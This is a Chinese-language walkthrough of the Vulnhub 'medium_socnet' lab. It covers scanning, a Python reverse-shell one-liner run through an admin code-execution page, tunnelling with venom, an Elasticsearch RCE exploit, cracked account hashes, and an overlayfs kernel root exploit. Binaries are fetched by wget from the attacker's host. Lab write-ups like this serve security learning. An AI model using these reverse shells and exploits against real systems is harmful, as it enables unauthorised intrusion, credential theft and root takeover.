Vulnhub-medium socnet

 

medium_socnet

by:飞鸟(FeiNiao)

主机发现

受害机与kali为同一网段

使用arp二层主机发现扫描

C:\root> arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:16:1d:cc, IPv4: 192.168.0.61
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1     dc:fe:18:4c:9c:b5       TP-LINK TECHNOLOGIES CO.,LTD.
192.168.0.71    f0:9e:4a:34:c9:d4       (Unknown)
192.168.0.72    08:00:27:f0:07:0a       PCS Systemtechnik GmbH
192.168.0.50    24:df:a7:b9:0e:76       Hangzhou BroadLink Technology Co.,Ltd
192.168.0.53    c2:8f:08:9e:2f:ec       (Unknown: locally administered)
192.168.0.58    4c:32:75:89:a3:69       Apple, Inc.

9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.926 seconds (132.92 hosts/sec). 6 responded

发现受害机地址为192.168.0.72

端口扫描

对受害机的端口进行扫描

C:\root> nmap -p- 192.168.0.72
Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-11 03:26 EDT
Nmap scan report for 192.168.0.72
Host is up (0.000050s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
MAC Address: 08:00:27:F0:07:0A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds

发现只开了22和5000端口

对这两个端口进行详细的探测

C:\root> nmap -p22,5000 -sV 192.168.0.72
Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-11 03:29 EDT
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 03:29 (0:00:06 remaining)
Nmap scan report for 192.168.0.72
Host is up (0.00027s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15)
MAC Address: 08:00:27:F0:07:0A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.47 seconds

22是ssh协议,5000是一个web服务器

使用浏览器访问

image

看样子是python写的,是个留言板差不多的东西

xss,sql都试了看来没啥用

目录扫描

扫描一下目录吧

C:\root> dirsearch -u http://192.168.0.72:5000/                                1 ⨯

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.0.72-5000/-_22-08-11_03-38-16.txt

Error Log: /root/.dirsearch/logs/errors-22-08-11_03-38-16.log

Target: http://192.168.0.72:5000/

[03:38:16] Starting:
[03:38:21] 200 -  401B  - /admin

Task Completed

看结果只扫描出来一个/admin目录

访问

image

管理页面,可以执行代码,联想前面搜集的信息,可能是python写的后端

那就执行python代码吧

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.61",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

nc反弹shell

kali进行nc监听1234端口

C:\root> nc -lvvp 1234

run Test code

image

反弹成功

image

快速的看一下这里都有啥,权限为root

有个docker文件,应该运行着docker

看了一眼ip,有内网ip

image

内网信息收集

验证是否为docker容器

/app # ls /.dockerenv

/app # cat /proc/1/cgroup

image

有这两个文件则100%确定为docker容器

所有我们现在是在docker容器中,想办法突破容器进入宿主机

内网主机发现

先在内网进行主机发现

ping 172.17.0.1-10 靶场原因1-10即可

for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done

image

.1 .2 .3都回包了,其他都没回包

内网隧道代理

利用venom进行内网穿透

客户端传入受害机

服务端在kali上运行

在kali上启动服务

./admin_linux_x64 -lport 9999

image

受害机要运行客户的程序,需要先将客户端程序传入受害机中

在kali上启动一个http服务

python3 -m http.server 80

再去受害机上获取kali上的客户端

wget http://192.168.0.61/agent_linux_x64

image

在受害机上服于客户端执行权限

chmod +x agent_linux_x64

执行 ip为kali机 端口是kali的端口
./agent_linux_x64 -rhost 192.168.0.61 -rport 9999

在kali机上show一下,就可以看到一个连接

image

连接1 在kali上启动监听socks代理1080

goto 1
socks 1080

修改proxychains配置文件 socks代理端口1080

image

代理完成,使用proxychains就都走1080代理端口访问内网了

内网的目标有

172.17.0.1

172.17.0.2

172.17.0.3

依次对这三个ip进行nmap扫描

SOCKS 4版本协议不支持UDP和ICMP协议,因此在使用nmap时需要加上"-sT -Pn"选项,以使用TCP协议并禁用ICMP协议。

题外:

感觉上面那个代理不好用,nmap扫一个完后会变得很慢不知道为啥,所以我在msf生成一个elf使用msf进行连接,顺便msf模块真好用,把端口都扫出来了。

image

代理nmap扫描各个ip

proxychains4 nmap -Pn -sT 172.17.0.1

image

proxychains4 nmap -Pn -sT 172.17.0.2

image

proxychains4 nmap -Pn -sT 172.17.0.3

image

经过代理nmap扫描,整理如下

172.17.0.1         22,5000
172.17.0.2         9200
172.17.0.3         50000

在msf上看ifconfig的ip地址是172.17.0.3,不知道.1还是.3是那个192.168.0.72

扫描服务

proxychains4 nmap -p22,5000 -Pn -sT -sV 172.17.0.1

image

proxychains4 nmap -p9200 -Pn -sT -sV 172.17.0.2

image

proxychains4 nmap -p5000 -Pn -sT -sV 172.17.0.3

image

通过观察.1和.3的web服务,发现他们是一样的,可能是nginx反代?

设置soscks浏览器代理访问内网web服务

image

简单访问

image

image

image

那就先看.2的 Elasticsearch

通过介绍这玩意是个非常强大的搜索引擎。看他也是个http服务,我就看了看,没看懂

扫了一下目录,全部报400错误

通过searchsploit工具搜索Elasticsearch的漏洞( searchsploit是一个用于Exploit-DB的命令行搜索工具)

searchsploit Elasticsearch

image

image

拷贝exp cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

image

执行exp

proxychains4 python2 36337.py 172.17.0.2

image

执行成功,权限为root

逛一下,就看到了一个password的文件

image

有一些账户

image

拿去解密

john:3f8184a7343664553fcb5337a3138814 1337hack
test:861f194e9d6118f3d942a72be3e51749 1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b 1111pass
root:b3d34352fc26117979deabdf1b9b6354 1234pass
jane:5c158b60ed97c723b673529b8a3cf72b 1234jane

既然有了账户和密码,那就可以去尝试进行ssh连接

发现好像就.1开放了ssh

.1也就是192.168.0.72

经过测试只有john账户可以登入ssh

image

登入进行简单的id查看权限,发现是普通权限

权限提升

sudo -s 提权不了

uname -a 发现是3.13古老的版本

搜索一下看看有没有漏洞

searchsploit linux 3.13

image

使用这个漏洞进行exp

把源代码文件拷贝到当前目录下

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

看exp文件,有利用方式

image

这个exp文件有bug,将底下点代码删除,保存

image

编译:gcc -o 37292_exp 37292.c

查找二进制文件 locate ofs-lib.so

image

拷贝出来

cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

kali开启web服务

python3 -m http.server 80

ssh_john主机进行wget获取

wget http://192.168.0.56/ofs-lib.so

wget http://192.168.0.56/37292_exp

为了执行顺利,把两个文件移到tmp目录下

image

chmod +x * 加上可执行权限

./37292_exp 执行脚本

image

获取root权限

image

完成

总结:
首先进行主机发现,扫描了ip地址
扫描到了对其进行端口扫描
22,5000(http)端口开放
对5000端口进行访问,没有什么可利用的点,对其进行目录扫描
扫出来一个admin目录,有代码执行漏洞,利用python反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.61",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

进去发现是docker容器
ls /.dockerenv  or  cat /proc/1/cgroup 命令查看

进行内网主机发现
for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done

ping出来了172.17.0.1,2,3主机

进行内网穿透后,代理nmap扫描各个主机

.2有个Elasticsearch 利用远程代码执行漏洞拿下
进入.2的机器有个passwords文件,含有账号密码

ssh连接192.168.0.72

uname -a 发现3.13版本有漏洞
但是利用代码有点问题,进行了删减,最后成功利用
拿下宿主机


最后带着疑问看了一下172.17.0.1的机器,也开着ssh服务,使用proxychains4代理连接,也成功了,也可以提权

还有就是,为啥网上都没扫描到172.17.0.3,我扫描到了

image

docker 容器中有/.dockerenv这个文件,宿主机没有